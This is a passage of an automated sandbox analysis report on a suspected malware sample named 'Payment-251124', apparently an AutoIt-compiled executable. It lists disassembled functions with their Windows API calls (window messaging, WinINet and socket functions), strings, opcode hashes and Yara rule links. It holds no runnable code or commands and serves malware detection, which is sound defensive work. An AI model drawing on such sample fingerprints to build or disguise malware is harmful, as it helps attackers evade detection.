                                                        • API ID: _wcscmp$__fread_nolock
                                                        • String ID: FILE
                                                        • API String ID: 4029003684-3121273764
                                                        • Opcode ID: 7c7799a65eff1d328566c1b6ed22f49c9cccf2a815b011972e930f3bf4545770
                                                        • Instruction ID: f737fcb63039f33869de119b7da4d22c3fb9f12d8a7605792a72bc8fd9afd5ff
                                                        • Opcode Fuzzy Hash: 7c7799a65eff1d328566c1b6ed22f49c9cccf2a815b011972e930f3bf4545770
                                                        • Instruction Fuzzy Hash: AC41E572A0020ABADF209BA48C41FEF77F9AF49710F001069F615FB1C1D6729A05EB91
                                                        Function 00F2A76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00001132,00000000,?), ref: 00F2A85A
                                                        • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00F2A86F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: '
                                                        • API String ID: 3850602802-1997036262
                                                        • Opcode ID: ab5f181b2697c796df533cd62993ba1718d83462db9a4a11ba327b4db05913d9
                                                        • Instruction ID: 9b6e5d7c678b769373f92147c3d3fb992c725609707d2802105ab82e3718a967
                                                        • Opcode Fuzzy Hash: ab5f181b2697c796df533cd62993ba1718d83462db9a4a11ba327b4db05913d9
                                                        • Instruction Fuzzy Hash: B6411875E013199FDB14CFA8D880BEA7BB9FB08310F14016AE905EB381D770A942DFA5
                                                        Function 00F15180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F15190
                                                        • InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00F151C6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CrackInternet_memset
                                                        • String ID: |
                                                        • API String ID: 1413715105-2343686810
                                                        • Opcode ID: 58f85502fc31233c67f1451b58395001896ba83fd48b147a441273221e547165
                                                        • Instruction ID: 5deeac69f1cce4fb23918c4cb9d7e33e6f76cbdde5517732a3f681e140c859fd
                                                        • Opcode Fuzzy Hash: 58f85502fc31233c67f1451b58395001896ba83fd48b147a441273221e547165
                                                        • Instruction Fuzzy Hash: A5313872C00109EBCF15EFA5CD85EEEBFB9FF54710F100019E809B6166DA31AA46DBA0
                                                        Function 00F2975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DestroyWindow.USER32(?,?,?,?), ref: 00F2980E
                                                        • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00F2984A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$DestroyMove
                                                        • String ID: static
                                                        • API String ID: 2139405536-2160076837
                                                        • Opcode ID: d421c77db5104ba0c20e0d84906ce07f36dbe78d249898f47cd648498b1283a4
                                                        • Instruction ID: 26b1e7d5cf9c5d576b6cee84004c507c9fba7a2500c4e6acfff1fc2f3c41ac94
                                                        • Opcode Fuzzy Hash: d421c77db5104ba0c20e0d84906ce07f36dbe78d249898f47cd648498b1283a4
                                                        • Instruction Fuzzy Hash: 0B31B171510214AEEB109F74DC80BFB73A9FF59760F14861AF8A9D7190CB70AC81E760
                                                        Function 00F05157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F051C6
                                                        • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F05201
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InfoItemMenu_memset
                                                        • String ID: 0
                                                        • API String ID: 2223754486-4108050209
                                                        • Opcode ID: e2d9b3eed9cbbae4ed5f32bd2d474b837c254e44965fb45d5f669a099fb1f06e
                                                        • Instruction ID: f3aa39bfed493db944d6d6c3df3e5820910e0282d29af873036a1ba29642133f
                                                        • Opcode Fuzzy Hash: e2d9b3eed9cbbae4ed5f32bd2d474b837c254e44965fb45d5f669a099fb1f06e
                                                        • Instruction Fuzzy Hash: 09318F32A00604EBEB24CF99D945BAFBBF8AF45B60F144419E995A61E0D7F09A44FF10
                                                        Function 00F1658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __snwprintf
                                                        • String ID: , $$AUTOITCALLVARIABLE%d
                                                        • API String ID: 2391506597-2584243854
                                                        • Opcode ID: da8f1fc5e2ba457f17f656f15d1ef70c059b769a83d6d3fa5c2c98a95cab3b19
                                                        • Instruction ID: 19d173ab10b7d5d42fc7cbc35ede16def0381ee3148426ec66c9513c2e05c137
                                                        • Opcode Fuzzy Hash: da8f1fc5e2ba457f17f656f15d1ef70c059b769a83d6d3fa5c2c98a95cab3b19
                                                        • Instruction Fuzzy Hash: 0E217F71600218AECF10EF64C981FED73B5AF55300F054459F505FB142DB71EA86EBA2
                                                        Function 00F293CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00F2945C
                                                        • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F29467
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: Combobox
                                                        • API String ID: 3850602802-2096851135
                                                        • Opcode ID: aa4dd58041b91716cdda7bb367a67c90cf34a2a39a17dfcc38fc3f84e3e2b1ff
                                                        • Instruction ID: 297c73e91c8fca72776a1989a722e1aefe7c805bea3fb6e278e1c9b2b6122e4d
                                                        • Opcode Fuzzy Hash: aa4dd58041b91716cdda7bb367a67c90cf34a2a39a17dfcc38fc3f84e3e2b1ff
                                                        • Instruction Fuzzy Hash: F5119071704218AFEF15EE54EC80EBB376EEB483B4F104129F95997290D6B19C52A760
                                                        Function 00F298FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EDD1BA
                                                          • Part of subcall function 00EDD17C: GetStockObject.GDI32(00000011), ref: 00EDD1CE
                                                          • Part of subcall function 00EDD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EDD1D8
                                                        • GetWindowRect.USER32(00000000,?), ref: 00F29968
                                                        • GetSysColor.USER32(00000012), ref: 00F29982
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                        • String ID: static
                                                        • API String ID: 1983116058-2160076837
                                                        • Opcode ID: a3b6161dc207b9f2307e6af6a6e9e62091c29c2e14d6f5d95bdf0a85ca763dc4
                                                        • Instruction ID: 4d7f341f9b2a72a6112c550b2b844171ac9fd2d040a77088f5361aed8845b6ef
                                                        • Opcode Fuzzy Hash: a3b6161dc207b9f2307e6af6a6e9e62091c29c2e14d6f5d95bdf0a85ca763dc4
                                                        • Instruction Fuzzy Hash: 10116A72510219AFDB04DFB8DC45AFA7BA8FB08314F054619FD55E3250E774E851EB50
                                                        Function 00F29617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowTextLengthW.USER32(00000000), ref: 00F29699
                                                        • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00F296A8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: LengthMessageSendTextWindow
                                                        • String ID: edit
                                                        • API String ID: 2978978980-2167791130
                                                        • Opcode ID: daa311396ee08077968cf1e8cf7d7f2568674e26d99e51cbcbbb59145175f780
                                                        • Instruction ID: 7d2e3b3edef04c167ffb4d8910f0751f4e6da096e027c71691fcbbb94ae40a2b
                                                        • Opcode Fuzzy Hash: daa311396ee08077968cf1e8cf7d7f2568674e26d99e51cbcbbb59145175f780
                                                        • Instruction Fuzzy Hash: 94118C71904118ABEB205FA4EC54EEB3BAAEB153B8F104714F965931E0C7B5DC51BB60
                                                        Function 00F05262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F052D5
                                                        • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00F052F4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InfoItemMenu_memset
                                                        • String ID: 0
                                                        • API String ID: 2223754486-4108050209
                                                        • Opcode ID: 5117e5871758fa0921d0497efe0e3e6daf14797cb335a1134ac169ab99956d08
                                                        • Instruction ID: f0124da8d9fd429399828b6987316d2a04a01284d91aa5e6549b3af607cafe45
                                                        • Opcode Fuzzy Hash: 5117e5871758fa0921d0497efe0e3e6daf14797cb335a1134ac169ab99956d08
                                                        • Instruction Fuzzy Hash: AE11D072D01618EBEB20DA98DD05BAE77B9AB05B60F140125E901E72D0D3F0AD09FF90
                                                        Function 00F14D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00F14DF5
                                                        • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00F14E1E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Internet$OpenOption
                                                        • String ID: <local>
                                                        • API String ID: 942729171-4266983199
                                                        • Opcode ID: e7f6f5fa8e72b71c10bd4e934e12d095f03a03551aed87768d42e2c298856cb4
                                                        • Instruction ID: 947c6b940d99a42ab9f84644b0fd4333ad1cd5eb8ba4c235cdfd3bf4f458c427
                                                        • Opcode Fuzzy Hash: e7f6f5fa8e72b71c10bd4e934e12d095f03a03551aed87768d42e2c298856cb4
                                                        • Instruction Fuzzy Hash: F211A071A01225BBDF298F61D888FFBFAA8FF56765F10822AF50556180D3706981E6E0
                                                        Function 00F1A82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00F1A84E
                                                        • htons.WSOCK32(00000000,?,00000000), ref: 00F1A88B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: htonsinet_addr
                                                        • String ID: 255.255.255.255
                                                        • API String ID: 3832099526-2422070025
                                                        • Opcode ID: 8f8509941a1459d6ed142f698b20b0c1c7cd85cc64b2ceb63b550263d231ae41
                                                        • Instruction ID: 9e198a99fcdc25a1f657d7db75cc1422107e0a878140b8cd40f30798c2b9435a
                                                        • Opcode Fuzzy Hash: 8f8509941a1459d6ed142f698b20b0c1c7cd85cc64b2ceb63b550263d231ae41
                                                        • Instruction Fuzzy Hash: 1C01F975600309ABCB109FA4C856FEDB364EF45330F208526F515A73D1D775E845E752
                                                        Function 00EFB781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00EFB7EF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 3850602802-1403004172
                                                        • Opcode ID: 9d82e7220042eab2515f65231c5fcc4422539946a6d3ce22308c0c4a1f437473
                                                        • Instruction ID: cc748a3573c38cb689b53ae98b61121e76145524ab8496919b1c9196432e1bb3
                                                        • Opcode Fuzzy Hash: 9d82e7220042eab2515f65231c5fcc4422539946a6d3ce22308c0c4a1f437473
                                                        • Instruction Fuzzy Hash: 0B012471600118AFCB04FBA4CC52EFE33A9BF46350B14161DF566B32C2EF7158099791
                                                        Function 00EFB67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000180,00000000,?), ref: 00EFB6EB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 3850602802-1403004172
                                                        • Opcode ID: 8f9a13cf27acaf71750e2060565a31399216e770b141d4dd0b0b096648fb8d88
                                                        • Instruction ID: 2b3e83868a78ba625e9b87519b247a19ff35bada35acc8a047785903357544f6
                                                        • Opcode Fuzzy Hash: 8f9a13cf27acaf71750e2060565a31399216e770b141d4dd0b0b096648fb8d88
                                                        • Instruction Fuzzy Hash: A701A2B1641008AFDB04EBA4CA52FFE73E99F06344F24101DF606B3282EF559E1997B6
                                                        Function 00EFB700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000182,?,00000000), ref: 00EFB76C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 3850602802-1403004172
                                                        • Opcode ID: 8b49426cf8a4b59d20f84021fd6f3f19e4513272a2605169ee25ea34660923ce
                                                        • Instruction ID: 264778ba1f1609242e9ea2fd58aae025fec47fdfdad70cb7207a9d03bce708e2
                                                        • Opcode Fuzzy Hash: 8b49426cf8a4b59d20f84021fd6f3f19e4513272a2605169ee25ea34660923ce
                                                        • Instruction Fuzzy Hash: 100126B5640008ABCB00FBA4CA02FFE73ED9B05304F64101EF505B32D2DB659E0A97B2
                                                        Function 00EC4024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadImageW.USER32(00EC0000,00000063,00000001,00000010,00000010,00000000), ref: 00EC4048
                                                        • EnumResourceNamesW.KERNEL32(00000000,0000000E,00F067E9,00000063,00000000,75C10280,?,?,00EC3EE1,?,?,000000FF), ref: 00F341B3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: EnumImageLoadNamesResource
                                                        • String ID: >
                                                        • API String ID: 1578290342-260571596
                                                        • Opcode ID: 077a2e0c533f7af7c5289df4c55b00dbb9144db76f0df65856f444e687e4bb00
                                                        • Instruction ID: 69e82ed7d4f950c6ecbd9e131cc5261cb79a703661d6d0c3cc72f87d5dfb9e77
                                                        • Opcode Fuzzy Hash: 077a2e0c533f7af7c5289df4c55b00dbb9144db76f0df65856f444e687e4bb00
                                                        • Instruction Fuzzy Hash: 32F09075640318B7E6204B1ABC4AFE23AADF715FB5F10020AF714EA1D0D2F19482FB90
                                                        Function 00F07744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ClassName_wcscmp
                                                        • String ID: #32770
                                                        • API String ID: 2292705959-463685578
                                                        • Opcode ID: f938c34e4bd962240e40ffd93c2152af889f7343371882f6d6de12840ce76c79
                                                        • Instruction ID: e0bccafb3bc57b5b49d674d6af6b830746452d434524c1ec85d69133fdae0132
                                                        • Opcode Fuzzy Hash: f938c34e4bd962240e40ffd93c2152af889f7343371882f6d6de12840ce76c79
                                                        • Instruction Fuzzy Hash: 26E0D877A0432827DB10EAE5DC09ED7FFACEB51B60F010056F905E3181D670E64597D0
                                                        Function 00EFA631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00EFA63F
                                                          • Part of subcall function 00EE13F1: _doexit.LIBCMT ref: 00EE13FB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
